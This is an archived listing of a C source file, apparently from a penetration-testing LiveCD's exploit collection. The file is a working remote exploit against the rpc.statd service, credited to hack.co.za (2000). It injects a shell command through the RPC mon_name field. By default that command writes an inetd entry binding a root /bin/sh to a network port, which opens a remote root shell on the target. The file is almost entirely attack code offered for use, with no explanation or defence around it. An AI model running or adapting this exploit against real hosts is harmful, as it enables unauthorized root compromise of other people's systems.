home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / statd-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  124 lines

  1. /* solaris statd exploit by someone.. ported to linux by jsbach */
  2. /* gcc wow.c -lrpcsvc -o wow */
  3.  
  4. struct st4t_chg3_imitation
  5.   {
  6.     char *mon_name;
  7.     int state;
  8.   };
  9.  
  10. typedef struct st4t_chg3_imitation st4t_chg3_imitation;
  11.  
  12. #include <stdio.h>
  13. #include <string.h>
  14. #include <netdb.h>
  15. #include <sys/time.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <rpcsvc/sm_inter.h>
  19. #include <rpc/svc.h>
  20. #include <rpcsvc/rstat.h>
  21.  
  22. void
  23. usage(char *s)
  24. {
  25.   printf ("Cache name is the hostname of the remote system.\n");
  26.   printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  27.   printf ("Usage: %s hostname <cachename> <command>\n", s);
  28.   exit (0);
  29. }
  30.  
  31. int xdr_stat_chge(XDR *xdrs, st4t_chg3_imitation *objp)
  32. {
  33.   register long *buf;
  34.  
  35.   if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
  36.     {
  37.       return (FALSE);
  38.     }
  39.   if (!xdr_int(xdrs, &objp->state))
  40.     {
  41.       return (FALSE);
  42.     }
  43.   return (TRUE);
  44.  
  45.  
  46. }
  47.  
  48.  
  49. int
  50. main (int argc, char *argv[])
  51. {
  52.  
  53.   CLIENT *cl;
  54.   enum clnt_stat stat;
  55.   struct timeval tm;
  56.   struct mon monreq;
  57.   struct sm_stat_res monres;
  58.   struct st4t_chg3_imitation ntf_arg;
  59.   struct hostent *hp;
  60.   struct sockaddr_in target;
  61.   int sd;
  62.  
  63.   char attack[1024];
  64.  
  65.   if (argc < 3)
  66.     usage(argv[0]);
  67.  
  68.   if (argc==4)
  69.     sprintf(attack, ";%s", argv[3]);
  70.   else
  71.     sprintf(attack, "; echo \"pcserver stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
  72.  
  73.   memset(&monreq, 0, sizeof(monreq));
  74.  
  75.   monreq.mon_id.my_id.my_name = argv[2];
  76.   monreq.mon_id.my_id.my_prog = (unsigned long) 100099;
  77.   monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  78.   monreq.mon_id.my_id.my_proc = (unsigned long) 1;
  79.   monreq.mon_id.mon_name = attack;
  80.   monreq.priv[0] = '/';
  81.  
  82.   memset(&ntf_arg, 0, sizeof(ntf_arg));
  83.  
  84.   ntf_arg.mon_name = attack;
  85.   ntf_arg.state = 1;
  86.  
  87.   if ((hp = gethostbyname (argv[1])) == NULL)
  88.     {
  89.       printf ("Couldnt resolve %s!\n", argv[1]);
  90.       exit (-1);
  91.     }
  92.  
  93.   target.sin_family = AF_INET;
  94.   target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  95.   target.sin_port = 0;
  96.   sd = RPC_ANYSOCK;
  97.  
  98.   tm.tv_sec = 10;
  99.   tm.tv_usec = 0;
  100.  
  101.   if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL)
  102.     {
  103.       clnt_pcreateerror("clnt_create");
  104.       exit (-1);
  105.     }
  106.  
  107.   stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  108.                    (char *)&monres, tm);
  109.  
  110.   if (stat != RPC_SUCCESS)
  111.     clnt_perror(cl, "clnt_call");
  112.   else
  113.     printf("stat_res = %d.\n", monres.res_stat);
  114.  
  115.   stat=clnt_call(cl, ((u_long)6), xdr_stat_chge, (char *)&ntf_arg, xdr_void,
  116.                  NULL, tm);
  117.  
  118.   if (stat != RPC_SUCCESS)
  119.     clnt_perror(cl, "clnt_call");
  120.  
  121.   clnt_destroy(cl);
  122.   exit (0);
  123. }
  124. /*                    www.hack.co.za              [2000]*/